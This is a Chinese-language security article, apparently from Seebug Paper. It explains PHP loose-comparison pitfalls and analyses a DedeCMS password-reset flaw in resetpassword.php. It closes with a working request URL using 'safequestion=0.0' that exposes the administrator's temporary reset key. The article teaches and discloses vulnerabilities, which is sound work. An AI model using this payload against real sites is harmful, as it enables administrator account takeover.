作者:錦行科技

常見的弱類型問題

類型轉換問題

類型轉換是無法避免的問題。例如需要將GET或者是POST的參數轉換為int類型,或者是兩個變量不匹配的時候,PHP會自動地進行變量轉換。但是PHP是一個弱類型的語言,導致在進行類型轉換的時候會存在很多意想不到的問題。

數學運算

當php進行一些數學計算的時候

<?php

var_dump(0 == '0'); // true

var_dump(0 == 'abc'); // true 

var_dump(0 === 'abc'); // false

var_dump(1 == '1abc'); // true

var_dump('1e0'=='1e2'); // false

var_dump('0.0'==0); // true

var_dump('0.0'==''); //false

//還有下面這樣的

if(md5('s878926199a')==0){

    echo 'true';

}

?>

因為md5('s878926199a')=0e545993274517709034328855841020就是0的n次方,所以還是等于0

但是要注意:

"0e123456abc"=="0e1dddada"http://false

這種返回的是為假

語句條件的松散判斷
<?php
if (isset($_GET['which']))
{
        $which = $_GET['which'];
        switch ($which)
        {
        case 0:
        case 1:
        case 2:
       require_once $which.'.php';
       break;
        }
}
?>
函數的松散判斷
<?php

if(strcmp('1a',1)){

    echo 'test';

}

?>



<?php
var_dump(in_array("1a", 
array(1,2,3)));
?>

In_array函數和array_search函數的問題可以在in_array函數后面加一個true選項,就能解決比如:

<?php

if(in_array("1a", array(1,2,3),true)){

    echo 'true';

}

?>


md5()

$array1[] = array(
 "foo" => "bar",
 "bar" => "foo",
);
$array2 = array("foo", "bar",
 "hello", "world");
var_dump(md5($array1)==
md5($array2));
//回顯為true
十六進制轉換

還存在一種十六進制余字符串進行比較運算時的問題。例子如下:

"0x1e240"=="123456"//true

"0x1e240"==123456//true

"0x1e240"=="1e240"//false

當其中的一個字符串是0x開頭的時候,PHP會將此字符串解析成為十進制然后再進行比較,0×1240解析成為十進制就是123456,所以與int類型和string類型的123456比較都是相等。

下面我們來看一個dedecms的弱類型安全問題。

漏洞分析

dedecms/member/resetpassword.php //75行

else if($dopost == "safequestion")

{

    $mid = preg_replace("#[^0-9]#", "", $id);

    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";

    $row = $db->GetOne($sql);

    if(empty($safequestion)) $safequestion = '';



    if(empty($safeanswer)) $safeanswer = '';



    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)

    {

        sn($mid, $row['userid'], $row['email'], 'N');

        exit();

    }

    else

    {

        ShowMsg("對不起,您的安全問題或答案回答錯誤","-1");

        exit();

    }



}

管理員帳號admin的$row['safequestion']默認是為’0’(字符串),所以$safequestion不能為空。否則不進入$row['safequestion'] == $safequestion。而$_GET[‘safequestion ’]傳過來的值為字符串,當$_GET[‘safequestion ’]為’0’時進入if(empty($safequestion))。當$_GET[‘safequestion ’]’0.0’時不進入if(empty($safequestion)),而’0’=’0.0’進入if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer),右邊的$safeanswer本身就為空。所以不用理。

跟進函數sn

function sn($mid,$userid,$mailto, $send = 'Y')

{

    global $db;

    $tptim= (60*10);

    $dtime = time();

    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";

    $row = $db->GetOne($sql);

    if(!is_array($row))

    {

        //發送新郵件;

        newmail($mid,$userid,$mailto,'INSERT',$send);

    }

    //10分鐘后可以再次發送新驗證碼;

    elseif($dtime - $tptim > $row['mailtime'])

    {

        newmail($mid,$userid,$mailto,'UPDATE',$send);

    }

    //重新發送新的驗證碼確認郵件;

    else

    {

        return ShowMsg('對不起,請10分鐘后再重新申請', 'login.php');

    }

}

這里從數據庫取出來的值應該為空$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";于是進入

if(!is_array($row))

    {

        //發送新郵件;

        newmail($mid,$userid,$mailto,'INSERT',$send);

}

注意一下$sendN

我們跟進newmail函數:

function newmail($mid, $userid, $mailto, $type, $send)

{

    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;

    $mailtime = time();

    $randval = random(8);

    $mailtitle = $cfg_webname.":密碼修改";

    $mailto = $mailto;

    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";

    $mailbody = "親愛的".$userid.":\r\n您好!感謝您使用".$cfg_webname."網。\r\n".$cfg_webname."應您的要求,重新設置密碼:(注:如果您沒有提出申請,請檢查您的信息是否泄漏。)\r\n本次臨時登陸密碼為:".$randval." 請于三天內登陸下面網址確認修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;

    if($type == 'INSERT')

    {

        $key = md5($randval);

        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";

        if($db->ExecuteNoneQuery($sql))

        {

            if($send == 'Y')

            {

                sendmail($mailto,$mailtitle,$mailbody,$headers);

                return ShowMsg('EMAIL修改驗證碼已經發送到原來的郵箱請查收', 'login.php','','5000');

            } else if ($send == 'N')

            {

                return ShowMsg('稍后跳轉到修改頁', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);

            }

        }

        else

        {

            return ShowMsg('對不起修改失敗,請聯系管理員', 'login.php');

        }

}

這里直接是對dede_pwd_tmp表插入臨時密碼,臨時密碼為$randval = random(8);是8位,但是別急。緊接著插入完成之后ShowMsg('稍后跳轉到修改頁', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);也就是說在insert完成之后跳轉把$randval輸出到了頁面。

也就是這個key,這個key就是管理員的臨時密碼。

利用方法:

先注冊一個帳號并登錄,然后訪問:

http://localhost//member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

就可以發現上面那個包了

結語

不要相信用戶輸入。應多使用===來避免弱類型安全問題.


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/505/